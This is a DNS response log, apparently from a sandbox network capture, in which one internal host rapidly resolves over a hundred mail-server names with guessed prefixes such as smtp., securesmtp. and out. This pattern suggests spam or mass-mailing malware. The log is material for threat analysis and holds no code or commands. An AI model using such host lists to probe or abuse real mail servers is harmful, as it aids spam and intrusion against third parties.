Jun 4, 2024 23:10:36.351337910 CEST	1.1.1.1	192.168.2.11	0xef54	Name error (3)	mail.solutions4.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.416193008 CEST	1.1.1.1	192.168.2.11	0x9198	No error (0)	autograf.pl		99.83.253.192	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.416193008 CEST	1.1.1.1	192.168.2.11	0x9198	No error (0)	autograf.pl		75.2.24.159	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.448512077 CEST	1.1.1.1	192.168.2.11	0x561	Server failure (2)	b2l.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.508747101 CEST	1.1.1.1	192.168.2.11	0x3b8e	No error (0)	smtp.raizprod.com.br	pop.raizprod.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:36.508747101 CEST	1.1.1.1	192.168.2.11	0x3b8e	No error (0)	pop.raizprod.com.br	mail.ita.locamail.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:36.508747101 CEST	1.1.1.1	192.168.2.11	0x3b8e	No error (0)	mail.ita.locamail.com.br		191.252.112.195	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.542388916 CEST	1.1.1.1	192.168.2.11	0xf3e9	Name error (3)	securesmtp.meinich.no	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.687998056 CEST	1.1.1.1	192.168.2.11	0x54c9	Name error (3)	out.maisprevestibular.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.698750019 CEST	1.1.1.1	192.168.2.11	0x3c43	Name error (3)	smtp.hert.ac.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.781227112 CEST	1.1.1.1	192.168.2.11	0x6aa9	Name error (3)	inter7.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.934096098 CEST	1.1.1.1	192.168.2.11	0x6f5f	No error (0)	smtp.cgocable.ca		132.226.58.96	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.087686062 CEST	1.1.1.1	192.168.2.11	0x529a	Name error (3)	smtp.meatex.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.095954895 CEST	1.1.1.1	192.168.2.11	0xe446	No error (0)	smtp.immo44.fr		188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.095954895 CEST	1.1.1.1	192.168.2.11	0xe446	No error (0)	smtp.immo44.fr		188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.098207951 CEST	1.1.1.1	192.168.2.11	0x4ec7	Name error (3)	secure.im-creative.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.104545116 CEST	1.1.1.1	192.168.2.11	0x6f26	Name error (3)	smtp.needkasoi.tk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.230734110 CEST	1.1.1.1	192.168.2.11	0x9c9e	No error (0)	mail.mcmmanufacturing.com.au		172.67.199.213	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.230734110 CEST	1.1.1.1	192.168.2.11	0x9c9e	No error (0)	mail.mcmmanufacturing.com.au		104.21.13.106	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.268167973 CEST	1.1.1.1	192.168.2.11	0x192d	Server failure (2)	secure.stagingdev.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.345518112 CEST	1.1.1.1	192.168.2.11	0xd62a	Name error (3)	securesmtp.5agvmhwlsi.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.355545998 CEST	1.1.1.1	192.168.2.11	0x72a8	No error (0)	optusnet.com.au		211.29.132.105	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.355559111 CEST	1.1.1.1	192.168.2.11	0x72a8	No error (0)	optusnet.com.au		211.29.132.105	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.491827965 CEST	1.1.1.1	192.168.2.11	0x521c	Name error (3)	securesmtp.inteligenceit.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.519634008 CEST	1.1.1.1	192.168.2.11	0x9b14	Name error (3)	out.immigrationoptions.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.579127073 CEST	1.1.1.1	192.168.2.11	0x8d	Name error (3)	mail.sad55.org	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.628011942 CEST	1.1.1.1	192.168.2.11	0x8d4a	No error (0)	aap.com.au		203.4.188.28	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.749170065 CEST	1.1.1.1	192.168.2.11	0xe73	Name error (3)	out.pop.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.820674896 CEST	1.1.1.1	192.168.2.11	0x2b6a	Name error (3)	out.cetren.cn	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.881062031 CEST	1.1.1.1	192.168.2.11	0x9636	No error (0)	mta1.youcan.shop		104.18.28.62	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.881062031 CEST	1.1.1.1	192.168.2.11	0x9636	No error (0)	mta1.youcan.shop		104.18.29.62	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.017539024 CEST	1.1.1.1	192.168.2.11	0xfb09	Name error (3)	smtp.xtf.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.255899906 CEST	1.1.1.1	192.168.2.11	0x8ec5	Name error (3)	smtp.aijnsa.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.384139061 CEST	1.1.1.1	192.168.2.11	0x5ad	No error (0)	cluster9.us.messagelabs.com		67.219.246.213	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.384139061 CEST	1.1.1.1	192.168.2.11	0x5ad	No error (0)	cluster9.us.messagelabs.com		67.219.246.219	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.384139061 CEST	1.1.1.1	192.168.2.11	0x5ad	No error (0)	cluster9.us.messagelabs.com		67.219.250.220	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.384139061 CEST	1.1.1.1	192.168.2.11	0x5ad	No error (0)	cluster9.us.messagelabs.com		67.219.247.207	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.384139061 CEST	1.1.1.1	192.168.2.11	0x5ad	No error (0)	cluster9.us.messagelabs.com		67.219.247.111	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.384139061 CEST	1.1.1.1	192.168.2.11	0x5ad	No error (0)	cluster9.us.messagelabs.com		67.219.250.219	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.518069029 CEST	1.1.1.1	192.168.2.11	0xfac2	No error (0)	smtp.email.it	smtp.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:38.518069029 CEST	1.1.1.1	192.168.2.11	0xfac2	No error (0)	smtp.dka.mailcore.net		185.138.56.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.518069029 CEST	1.1.1.1	192.168.2.11	0xfac2	No error (0)	smtp.dka.mailcore.net		194.19.134.66	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.650429964 CEST	1.1.1.1	192.168.2.11	0x11f0	Name error (3)	securesmtp.florintree.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.895243883 CEST	1.1.1.1	192.168.2.11	0x33ec	No error (0)	travelox-co-uk.mail.protection.outlook.com		52.101.73.28	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.895243883 CEST	1.1.1.1	192.168.2.11	0x33ec	No error (0)	travelox-co-uk.mail.protection.outlook.com		52.101.73.30	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.895243883 CEST	1.1.1.1	192.168.2.11	0x33ec	No error (0)	travelox-co-uk.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.895243883 CEST	1.1.1.1	192.168.2.11	0x33ec	No error (0)	travelox-co-uk.mail.protection.outlook.com		52.101.68.15	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.931776047 CEST	1.1.1.1	192.168.2.11	0x3797	Name error (3)	out.10834588ad.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.944474936 CEST	1.1.1.1	192.168.2.11	0x3ec8	Name error (3)	securesmtp.upfront.net.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.023699999 CEST	1.1.1.1	192.168.2.11	0x91bc	No error (0)	wing2.jp		193.234.251.123	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.093180895 CEST	1.1.1.1	192.168.2.11	0x3a2a	Name error (3)	smtp.pkgassociates.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.345946074 CEST	1.1.1.1	192.168.2.11	0x56f6	Name error (3)	secure.callplus.tn	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.362338066 CEST	1.1.1.1	192.168.2.11	0x9ff6	No error (0)	mx1.telecable.es		94.100.132.8	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.364372969 CEST	1.1.1.1	192.168.2.11	0xbd98	Name error (3)	smtp.timeout.es	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.415694952 CEST	1.1.1.1	192.168.2.11	0xecce	No error (0)	mail.probac.com.br	pop.probac.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:39.415694952 CEST	1.1.1.1	192.168.2.11	0xecce	No error (0)	pop.probac.com.br	mail.ita.locaweb.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:39.415694952 CEST	1.1.1.1	192.168.2.11	0xecce	No error (0)	mail.ita.locaweb.com.br		191.252.112.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.416045904 CEST	1.1.1.1	192.168.2.11	0xecce	No error (0)	mail.probac.com.br	pop.probac.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:39.416045904 CEST	1.1.1.1	192.168.2.11	0xecce	No error (0)	pop.probac.com.br	mail.ita.locaweb.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:39.416045904 CEST	1.1.1.1	192.168.2.11	0xecce	No error (0)	mail.ita.locaweb.com.br		191.252.112.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.485188961 CEST	1.1.1.1	192.168.2.11	0xd754	No error (0)	mx1.pub.mailpod11-cph3.one.com		104.37.34.230	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.539625883 CEST	1.1.1.1	192.168.2.11	0x6964	Name error (3)	securesmtp.vega.ocn.ne.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.684880018 CEST	1.1.1.1	192.168.2.11	0xff27	Name error (3)	secure.pilarsaenz.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.748150110 CEST	1.1.1.1	192.168.2.11	0xd472	No error (0)	aspmx4.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.863847017 CEST	1.1.1.1	192.168.2.11	0x5ea4	No error (0)	cepl.com.br		35.211.105.54	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.942961931 CEST	1.1.1.1	192.168.2.11	0x9923	Name error (3)	secure.student.zatlanka.cz	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.982736111 CEST	1.1.1.1	192.168.2.11	0x6f7b	No error (0)	sympatico.ca		199.85.66.2	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.050807953 CEST	1.1.1.1	192.168.2.11	0xe53c	No error (0)	mx-vip-01.kinghost.net		191.6.216.38	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.090028048 CEST	1.1.1.1	192.168.2.11	0x560	No error (0)	keuken.be		37.187.209.4	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.127089024 CEST	1.1.1.1	192.168.2.11	0x5be5	No error (0)	mullenloweblu-com.mail.protection.outlook.com		52.101.68.29	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.127089024 CEST	1.1.1.1	192.168.2.11	0x5be5	No error (0)	mullenloweblu-com.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.127089024 CEST	1.1.1.1	192.168.2.11	0x5be5	No error (0)	mullenloweblu-com.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.127089024 CEST	1.1.1.1	192.168.2.11	0x5be5	No error (0)	mullenloweblu-com.mail.protection.outlook.com		52.101.68.8	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.127089024 CEST	1.1.1.1	192.168.2.11	0x5be5	No error (0)	mullenloweblu-com.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.127089024 CEST	1.1.1.1	192.168.2.11	0x5be5	No error (0)	mullenloweblu-com.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.127089024 CEST	1.1.1.1	192.168.2.11	0x5be5	No error (0)	mullenloweblu-com.mail.protection.outlook.com		52.101.68.12	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.234601974 CEST	1.1.1.1	192.168.2.11	0xe753	No error (0)	securesmtp.irishredheads.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:40.234601974 CEST	1.1.1.1	192.168.2.11	0xe753	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:40.234601974 CEST	1.1.1.1	192.168.2.11	0xe753	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.234601974 CEST	1.1.1.1	192.168.2.11	0xe753	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.324654102 CEST	1.1.1.1	192.168.2.11	0x454c	No error (0)	minex.com.co		206.62.174.243	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.439157009 CEST	1.1.1.1	192.168.2.11	0x585c	Name error (3)	com.lenovo.serviceit	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.444258928 CEST	1.1.1.1	192.168.2.11	0xe5ad	Name error (3)	secure.pistor-meisel.d	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.455208063 CEST	1.1.1.1	192.168.2.11	0x2c74	No error (0)	mta2.spin.it		79.143.126.202	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.460546017 CEST	1.1.1.1	192.168.2.11	0x1faf	Name error (3)	secure.promotherme.ma	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.563101053 CEST	1.1.1.1	192.168.2.11	0x9709	No error (0)	pep4teens.de		217.160.0.220	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.862221956 CEST	1.1.1.1	192.168.2.11	0x39d8	No error (0)	telkomsa.net		105.224.1.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.910429955 CEST	1.1.1.1	192.168.2.11	0x2c6e	No error (0)	smtp.planarte.com.br	smtp.uhserver.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:40.910429955 CEST	1.1.1.1	192.168.2.11	0x2c6e	No error (0)	smtp.uhserver.com		200.147.36.31	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.910459995 CEST	1.1.1.1	192.168.2.11	0x2c6e	No error (0)	smtp.planarte.com.br	smtp.uhserver.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:40.910459995 CEST	1.1.1.1	192.168.2.11	0x2c6e	No error (0)	smtp.uhserver.com		200.147.36.31	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:41.094532967 CEST	1.1.1.1	192.168.2.11	0xf659	Name error (3)	mail.afgsolucoes.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:41.437555075 CEST	1.1.1.1	192.168.2.11	0xd036	Name error (3)	out.4ls.co.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.563163996 CEST	1.1.1.1	192.168.2.11	0x8bc9	No error (0)	smtp.secureserver.net		92.204.80.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.565331936 CEST	1.1.1.1	192.168.2.11	0xadc	No error (0)	mx3.pub.mailpod12-cph3.one.com		104.37.34.248	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.565483093 CEST	1.1.1.1	192.168.2.11	0x4152	No error (0)	mx-vip-01.uni5.net		191.6.220.38	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.565928936 CEST	1.1.1.1	192.168.2.11	0x44ff	Name error (3)	mail.clan-usp.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.568881989 CEST	1.1.1.1	192.168.2.11	0xdb17	Name error (3)	smtp.rbc.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.569675922 CEST	1.1.1.1	192.168.2.11	0xbe21	No error (0)	mxbiz1.qq.com		43.154.252.185	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.569675922 CEST	1.1.1.1	192.168.2.11	0xbe21	No error (0)	mxbiz1.qq.com		43.154.252.231	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.570771933 CEST	1.1.1.1	192.168.2.11	0x3907	No error (0)	amarin.co.th		35.198.213.150	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.570908070 CEST	1.1.1.1	192.168.2.11	0xd65f	No error (0)	guruku.id		188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.570908070 CEST	1.1.1.1	192.168.2.11	0xd65f	No error (0)	guruku.id		188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.573409081 CEST	1.1.1.1	192.168.2.11	0x1a11	Name error (3)	secure.confiancenegocios.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.573565960 CEST	1.1.1.1	192.168.2.11	0x330c	No error (0)	capytech.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.573565960 CEST	1.1.1.1	192.168.2.11	0x330c	No error (0)	capytech.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.576066017 CEST	1.1.1.1	192.168.2.11	0x4c5d	Server failure (2)	thefindmachine.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.576667070 CEST	1.1.1.1	192.168.2.11	0xd7e0	No error (0)	mail.fsoft.com.vn		103.227.219.13	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.578308105 CEST	1.1.1.1	192.168.2.11	0x6ba6	Name error (3)	mail.geopec.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.578336000 CEST	1.1.1.1	192.168.2.11	0x268b	Name error (3)	smtp.72d93a2bb1.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.579130888 CEST	1.1.1.1	192.168.2.11	0xdd7b	No error (0)	mail.timboeh.me		45.145.225.252	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.579647064 CEST	1.1.1.1	192.168.2.11	0x296b	No error (0)	softage.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.579647064 CEST	1.1.1.1	192.168.2.11	0x296b	No error (0)	softage.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.580514908 CEST	1.1.1.1	192.168.2.11	0x4a54	No error (0)	follyandjane.com.au		23.227.38.32	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.584966898 CEST	1.1.1.1	192.168.2.11	0xc329	No error (0)	vodafone.it		45.60.76.192	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.584966898 CEST	1.1.1.1	192.168.2.11	0xc329	No error (0)	vodafone.it		45.60.85.192	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.587657928 CEST	1.1.1.1	192.168.2.11	0xcaa3	Name error (3)	gufihyv.wolomin.pl	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.592498064 CEST	1.1.1.1	192.168.2.11	0xd033	Name error (3)	smtp.mv-hallstadt.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.596246004 CEST	1.1.1.1	192.168.2.11	0x5876	Name error (3)	smtp.belrin.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.602421045 CEST	1.1.1.1	192.168.2.11	0x897e	Name error (3)	out.pretlist.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.604538918 CEST	1.1.1.1	192.168.2.11	0x3dc5	Name error (3)	moraistales.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.609972954 CEST	1.1.1.1	192.168.2.11	0x9192	Name error (3)	wasfahan.com.eg	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.611087084 CEST	1.1.1.1	192.168.2.11	0x22b2	Name error (3)	smtp.wyndcliff.f9.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.611757040 CEST	1.1.1.1	192.168.2.11	0xc0ff	Name error (3)	smtp.thejcafe.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.615011930 CEST	1.1.1.1	192.168.2.11	0x539e	No error (0)	smtp.coliseudecor.com.br	smtpout.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:44.615011930 CEST	1.1.1.1	192.168.2.11	0x539e	No error (0)	smtpout.secureserver.net	smtpout.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:44.615011930 CEST	1.1.1.1	192.168.2.11	0x539e	No error (0)	smtpout.vox.secureserver.net	smtpout.eu-sxb1.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:44.615011930 CEST	1.1.1.1	192.168.2.11	0x539e	No error (0)	smtpout.eu-sxb1.vox.secureserver.net		92.204.80.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.635313988 CEST	1.1.1.1	192.168.2.11	0xb69f	Name error (3)	out.dittaponzoshop.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.640583992 CEST	1.1.1.1	192.168.2.11	0x812b	No error (0)	lcb.com.tr		172.67.219.196	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.640583992 CEST	1.1.1.1	192.168.2.11	0x812b	No error (0)	lcb.com.tr		104.21.24.172	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.701589108 CEST	1.1.1.1	192.168.2.11	0xe707	Name error (3)	mail.struzyna.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.714425087 CEST	1.1.1.1	192.168.2.11	0x8ad6	No error (0)	centralmedia.com.mx		72.167.251.177	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.716140032 CEST	1.1.1.1	192.168.2.11	0xc34f	Name error (3)	out.dviodigital.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.771405935 CEST	1.1.1.1	192.168.2.11	0x8aa	No error (0)	usp.br		200.144.248.41	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.828726053 CEST	1.1.1.1	192.168.2.11	0xd8	Name error (3)	smtp.sulmetais.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.849737883 CEST	1.1.1.1	192.168.2.11	0x6424	Name error (3)	secure.mogaha.go.kr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.864042044 CEST	1.1.1.1	192.168.2.11	0x9cd2	No error (0)	mail.the-blair.com		103.168.172.47	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.864042044 CEST	1.1.1.1	192.168.2.11	0x9cd2	No error (0)	mail.the-blair.com		103.168.172.48	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.864042044 CEST	1.1.1.1	192.168.2.11	0x9cd2	No error (0)	mail.the-blair.com		103.168.172.62	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.864042044 CEST	1.1.1.1	192.168.2.11	0x9cd2	No error (0)	mail.the-blair.com		103.168.172.63	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.916527033 CEST	1.1.1.1	192.168.2.11	0x8391	No error (0)	smtp.meaccounting.net	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:44.916527033 CEST	1.1.1.1	192.168.2.11	0x8391	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.916527033 CEST	1.1.1.1	192.168.2.11	0x8391	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.916527033 CEST	1.1.1.1	192.168.2.11	0x8391	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.916527033 CEST	1.1.1.1	192.168.2.11	0x8391	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.919384956 CEST	1.1.1.1	192.168.2.11	0x8295	No error (0)	mail-ebc.plebicom.net		51.38.178.30	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.926620007 CEST	1.1.1.1	192.168.2.11	0x477d	Name error (3)	chiphospitality.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.944684029 CEST	1.1.1.1	192.168.2.11	0x3752	No error (0)	mail.i9tell.com.br	smtp-vip.kinghost.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:44.944684029 CEST	1.1.1.1	192.168.2.11	0x3752	No error (0)	smtp-vip.kinghost.net		191.6.216.100	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.944684029 CEST	1.1.1.1	192.168.2.11	0x3752	No error (0)	smtp-vip.kinghost.net		191.6.216.99	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.966124058 CEST	1.1.1.1	192.168.2.11	0x2a22	No error (0)	unicaup.com.br		76.76.21.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.248974085 CEST	1.1.1.1	192.168.2.11	0x98fe	Name error (3)	securesmtp.presenca.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.257834911 CEST	1.1.1.1	192.168.2.11	0x1fcd	No error (0)	route1.mx.cloudflare.net		162.159.205.11	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.257834911 CEST	1.1.1.1	192.168.2.11	0x1fcd	No error (0)	route1.mx.cloudflare.net		162.159.205.13	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.257834911 CEST	1.1.1.1	192.168.2.11	0x1fcd	No error (0)	route1.mx.cloudflare.net		162.159.205.12	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.261024952 CEST	1.1.1.1	192.168.2.11	0x9847	Name error (3)	mail.ontariosewingautomation.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.392610073 CEST	1.1.1.1	192.168.2.11	0x66e	Name error (3)	secure.perfee.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.477902889 CEST	1.1.1.1	192.168.2.11	0x68bb	No error (0)	smtp-01.tld.t-online.de		194.25.134.76	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.484216928 CEST	1.1.1.1	192.168.2.11	0x5606	No error (0)	ufpr.br		200.17.209.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.619314909 CEST	1.1.1.1	192.168.2.11	0x709a	No error (0)	secure.jeiv.burned-out.nl		185.53.178.54	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.709227085 CEST	1.1.1.1	192.168.2.11	0x1ddd	No error (0)	education.nsw.gov.au		54.206.86.115	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.709227085 CEST	1.1.1.1	192.168.2.11	0x1ddd	No error (0)	education.nsw.gov.au		54.79.80.188	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.709240913 CEST	1.1.1.1	192.168.2.11	0x1ddd	No error (0)	education.nsw.gov.au		54.206.86.115	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.709240913 CEST	1.1.1.1	192.168.2.11	0x1ddd	No error (0)	education.nsw.gov.au		54.79.80.188	A (IP address)	IN (0x0001)	false
